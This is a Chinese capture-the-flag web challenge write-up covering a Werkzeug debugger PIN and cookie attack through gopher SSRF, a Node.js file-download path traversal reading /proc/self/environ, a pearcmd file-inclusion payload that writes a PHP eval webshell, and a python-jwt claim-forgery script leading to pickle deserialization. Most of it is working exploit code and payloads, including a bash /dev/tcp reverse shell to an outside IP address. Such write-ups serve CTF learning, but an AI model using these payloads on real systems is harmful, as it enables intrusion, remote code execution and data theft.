1 GET /?__debugger__=yes&cmd=pinauth&pin=397-838-235&s=hCYJBiBvCDHEJqflrGtk
需要拿到s 直接访问/console 可以在源代码中拿到
然后记得编码打入?url=http://127.0.0.1:1314/console?__debugger__=yes&cmd=pinauth&pin=397-838-235&s=hCYJBiBvCDHEJqflrGtk&lolita[]=1
验证pin码计算正确的
然后我们要进行rce还需要携带cookie
第一种方式 脚本计算 需要计算cookie 这里直接用到一个现成的脚本:GitHub - WiIs0n/Flask-cookie-generation-based-on-PIN-code: This script generates a Cookie based on a legitimate PIN code.
同时可以计算出pin和cookie
第二种方式gopher发包 利用gopher协议发包 通过返回包获取到cookie
脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import urllibimport urllib.parse import urllib.request def PAYLOAD (s,cmd,host,pin): poc = f"" "GET /console?&__debugger__=yes&pin={pin}&cmd={cmd}&frm=0&s={s} HTTP/1.1 Host: {host} Connection: close " "" new_poc = urllib.parse .quote (poc).replace ('%0A' ,'%0D%0A' ) res = f'gopher://{host}/_' + new_poc print (res) return urllib.parse .quote (res) cmd = "pinauth" s= "hCYJBiBvCDHEJqflrGtk" host="127.0.0.1:1314" #cookie = "__wzdaa31f34934bb24e966f6=1698068595|d4af8efd2a4d" pin = "397-838-235" a = PAYLOAD (s,cmd,host,pin) print (a)
可见我们通过脚本计算出来的 cookie也是正确的
计算出cookie之后就不用携带pin了 携带cookie直接rce即可
直接反弹shell 记得url编码一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import urllibimport urllib.parse import urllib.request def PAYLOAD (s,cmd,host,cookie): poc = f"" "GET /console?&__debugger__=yes&cmd={cmd}&frm=0&s={s} HTTP/1.1 Host: {host} Connection: close Cookie: {cookie} " "" new_poc = urllib.parse .quote (poc).replace ('%0A' ,'%0D%0A' ) res = f'gopher://{host}/_' + new_poc print (res) return urllib.parse .quote (res) cmd = '__import__(%22os%22).popen(%22bash%20-c%20%5C%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F8.130.34.53%2F7777%20%3C%261%5C%22%22)' s= "hCYJBiBvCDHEJqflrGtk" host="127.0.0.1:1314" cookie = "__wzd41acf1cefa50cf0ead64=1698485090|9b48530259cc" pin = "397-838-235" a = PAYLOAD (s,cmd,host,cookie) print (a)
成功!!!
NextDrive 最折磨出题人的一集
趣味题目
一个模拟百度网盘的题目
首先申请一个账号然后登录
根据提示
Hint2: 你知道秒传的原理吗?
那么首先了解一下秒传的原理
在公共资源区能找到test.res.http文件
1 2 3 4 5 6 7 8 HTTP /1.1 200 OK content-type : application/json; charset=utf-8 content-length : 50 date : Tue , 06 Oct 2023 13 :39 :21 GMT connection : keep-alivekeep-alive : timeout=5 {"code" :0 ,"msg" :"success" ,"logged" :true ,"data" :[{"name" :"すずめ feat.十明 - RADWIMPS,十明.flac" ,"hash" :"5da3818f2b481c261749c7e1e4042d4e545c1676752d6f209f2e7f4b0b5fd0cc" ,"size" :27471829 ,"uploader" :"admin" ,"uploader_uid" :"100000" ,"shareTime" :1698486253740 ,"isYours" :true ,"isOwn" :true ,"ownFn" :"すずめ feat.十明 - RADWIMPS,十明.flac" },{"name" :"Windows 12 Concept.png" ,"hash" :"469db0f38ca0c07c3c8726c516e0f967fa662bfb6944a19cf4c617b1aba78900" ,"size" :440707 ,"uploader" :"admin" ,"uploader_uid" :"100000" ,"shareTime" :1698486256209 ,"isYours" :true ,"isOwn" :true ,"ownFn" :"Windows 12 Concept.png" },{"name" :"信息安全技术信息安全事件分类分级指南.pdf" ,"hash" :"03dff115bc0d6907752796fc808fe2ef0b4ea9049b5a92859fd7017d4e96c08f" ,"size" :330767 ,"uploader" :"admin" ,"uploader_uid" :"100000" ,"shareTime" :1698486256242 ,"isYours" :true ,"isOwn" :true ,"ownFn" :"信息安全技术信息安全事件分类分级指南.pdf" },{"name" :"不限速,就是快!.jpg" ,"hash" :"2de8696b9047f5cf270f77f4f00756be985ebc4783f3c553a77c20756bc68f2e" ,"size" :32920 ,"uploader" :"admin" ,"uploader_uid" :"100000" ,"shareTime" :1698486256280 ,"isYours" :true ,"isOwn" :true ,"ownFn" :"不限速,就是快!.jpg" },{"name" :"test.req.http" ,"hash" :"09228aabeb472316022cedd3f1a76930558f0ea489bd65b32ba743e499b74182" ,"size" :1085 ,"uploader" :"admin" ,"uploader_uid" :"100000" ,"shareTime" :1698486259714 ,"isYours" :true ,"isOwn" :true ,"ownFn" :"test.req.http" }]}
可以看到是发包数据包
注意到还有一个test.req.http上传了但是文件没有显示出来
1 {"name" :"test.req.http" ,"hash" :"09228aabeb472316022cedd3f1a76930558f0ea489bd65b32ba743e499b74182" ,"size" :1085 ,"uploader" :"admin" ,"uploader_uid" :"100000" ,"shareTime" :1698486259714 ,"isYours" :true ,"isOwn" :true ,"ownFn" :"test.req.http" }
所以我们可以利用秒传的原理随便上传一个文件 下载时替换test.req.http的哈希值 那么就可以将test.req.http文件下载下来了
得到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 POST /api/info/drive/sharezone HTTP /1.1 Accept : *
那么我们就拿到了admin的token了 然后替换token伪造身份
又多了点文件 不过重要的是share.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 const Router = require ("koa-router" );const router = new Router ();const CONFIG = require ("../../runtime.config.json" );const Res = require ("../../components/utils/response" );const FileSignUtil = require ("../../components/utils/file-signature" );const { DriveUtil } = require ("../../components/utils/database.utilities" );const fs = require ("fs" );const path = require ("path" );const { verifySession } = require ("../../components/utils/session" );const logger = global .logger ;router.get ("/s/:hashfn" , async (ctx, next) => { const hash_fn = String (ctx.params .hashfn || '' ) const hash = hash_fn.slice (0 , 64 ) const from_uid = ctx.query .from_uid const custom_fn = ctx.query .fn if (typeof hash_fn !== "string" || typeof from_uid !== "string" ) { ctx.set ("X-Error-Reason" , "Invalid Params" ); ctx.status = 400 ; return ctx.res .end (); } let IS_FILE_EXIST = await DriveUtil .isShareFileExist (hash, from_uid) if (!IS_FILE_EXIST ) { ctx.set ("X-Error-Reason" , "File Not Found" ); ctx.status = 404 ; return ctx.res .end (); } if (!IS_FILE_EXIST_IN_STORAGE ) { logger.error (`File ${hash_fn.yellow} not found in storage, but exist in database!` ) ctx.set ("X-Error-Reason" , "Internal Server Error" ); ctx.status = 500 ; return ctx.res .end (); } let filename = typeof custom_fn === "string" ? custom_fn : (await DriveUtil .getFilename (from_uid, hash)); filename = filename.replace (/[\\\/\:\*\"\'\<\>\|\?\x00-\x1F\x7F]/gi , "_" ) ctx.set ("Content-Disposition" , `attachment; filename*=UTF-8''${encodeURIComponent (filename)} ` ); await ctx.sendFile (path.resolve (CONFIG .storage_path , hash_fn)).catch (e => { logger.error (`Error while sending file ${hash_fn.yellow} ` ) logger.error (e) ctx.status = 500 ; return ctx.res .end (); }) }) module .exports = router;
这里就稍稍寄了 由于js题目做的少 看js代码逻辑很吃力 最后还是折磨出题师傅出的qwq
hash_fn是整个文件的hash
hash取了hash_fn前64个字符校验是否是分享的文件 如果是则会将文件内容读出来
但是问题出在了
1 2 3 4 5 6 7 8 9 let IS_FILE_EXIST_IN_STORAGE try { IS_FILE_EXIST_IN_STORAGE = fs.existsSync (path.resolve ( , hash_fn)) } catch (e) { ctx.set ("X-Error-Reason" , "Internal Server Error" ); ctx.status = 500 ; return ctx.res .end (); }
它校验时是否为分享文件取的是hash 但是读文件是通过hash_fn
那么我们可以让前64个hash值为任意分享的文件hash值 之后的内容为../../../../../proc/self/environ
就可以将内容读出来
payload:/s/任意分享文件的hash值/../../../../../proc/self/environ?from_uid=100000&fn=/proc/self/environ
记得要url编码 不然会混淆导致重定向到主页/(ㄒoㄒ)/~~
4-复盘(未解出) 原来这个题考pearcmd啊🤔 跟着官方wp学习
index.php关键代码
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php if (isset ($_GET['page' ])) { $page ='pages/' .$_GET ['page' ].'.php' ; }else { $page = 'pages/dashboard.php' ; } if (file_exists ($page)) { require_once $page; }else { require_once 'pages/error_page.php' ; } ?>
存在文件包含 然后就直接payload🤔🤔
1 /index.php?+config-create+/&page=/../../../../../usr/local/lib/php/pearcmd&/<?=@eval($_POST[x])?>+/var/www/html/1.php
之后是一个suid提权 gzip的
🤔🤔
Ye’s Pickle(未解出) 找到原题了 不敢实践。。。rz 原题是祥云杯2022 的FunWEB
考点:
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 # -*- coding : utf-8 -*- import base64import stringimport randomfrom flask import *import jwcrypto.jwk as jwkimport picklefrom python_jwt import *app = Flask (__name__) def generate_random_string (length=16 ): characters = string.ascii_letters + string.digits # 包含字母和数字 random_string = '' .join (random.choice (characters) for _ in range (length)) return random_string app.config ['SECRET_KEY' ] = generate_random_string (16 ) key = jwk.JWK .generate (kty='RSA' , size=2048 ) @app.route ("/" ) def index (): payload=request.args .get ("token" ) if payload : token=verify_jwt (payload, key, ['PS256' ]) session["role" ]=token[1 ]['role' ] return render_template ('index.html' ) else : session["role" ]="guest" user={"username" :"boogipop" ,"role" :"guest" } jwt = generate_jwt (user, key, 'PS256' , timedelta (minutes=60 )) return render_template ('index.html' ,token=jwt) @app.route ("/pickle" ) def unser (): if session["role" ]=="admin" : pickle.loads (base64.b64decode (request.args .get ("pickle" ))) return render_template ("index.html" ) else : return render_template ("index.html" ) if __name__ == "__main__" : app.run (host="0.0.0.0" , port=5000 , debug=True )
简单审计 可以看到我们的role为admin时 我们才能进行pickle反序列化利用
题中鉴权是靠jwt来实现的 那么生成过程是
如果get获取到token 那么jwt中session["role"]
就为我们输入token的role
如果token为空 那么他会帮我自动生成jwt 并且将session["role"]
初始化为guest
然后是jwt crack的一个新出的漏洞 这里jwt加密是靠rsa加密
利用这个脚本 可以不需要公私钥就可以伪造jwt
项目地址:
https://github.com/davedoesdev/python-jwt/commit/88ad9e67c53aa5f7c43ec4aa52ed34b7930068c9
简单修改一下 把里面改为parsed_payload['role'] = 'admin'
即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 "" " Test claim forgery vulnerability fix " "" from datetime import timedeltafrom json import loads, dumps#from test.common import generated_keys #from test import python_jwt as jwt from pyvows import Vows , expectfrom jwcrypto.common import base64url_decode, base64url_encodedef topic (topic): "" " Use mix of JSON and compact format to insert forged claims including long expiration " "" [header, payload, signature] = topic.split ('.' ) parsed_payload = loads (base64url_decode (payload)) parsed_payload['role' ] = 'admin' fake_payload = base64url_encode ((dumps (parsed_payload, separators=(',' , ':' )))) return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}' token='eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2OTg3NzA4MzAsImlhdCI6MTY5ODc2NzIzMCwianRpIjoiaVNzT2pQOVlLZ1NOUHVqYU5wYWkyQSIsIm5iZiI6MTY5ODc2NzIzMCwicm9sZSI6Imd1ZXN0IiwidXNlcm5hbWUiOiJib29naXBvcCJ9.WxTnJPgzKgjBYQ8HB8Ny5W4ZLNpsjAKsikMXHhtIQ-e5MiJp8jSt7AwKcuGsrqsFlTYeJLuGyLaxGGC29PAsKS8SVM82BG0W79nK35mp4aLXIEjer-cRT4GO8LX-WVZ0rRJZuv2Pe8ETPi8Rz0UahtmPYm7BbuvQ3XOudkb--wdcUrSIm2354RvaISRA7Z4a8VuP77VgkBIFNoebO_3c2wTO_w79-hTqg-JbUJqagqeFj5ptroo1SiYHpy2u2zUPKNqEeC6kcKwkZQWNUBGY4BuceLuoGBs9x2DWkAAsgrMC9PcUJ-8zzNFaZF22KxGgiLBv2pjR7HneVrF0Utx4gA' payload = topic (token) print (payload)
之后就是一个很简单的pickle反序列化了 不再赘述
结尾 一起共勉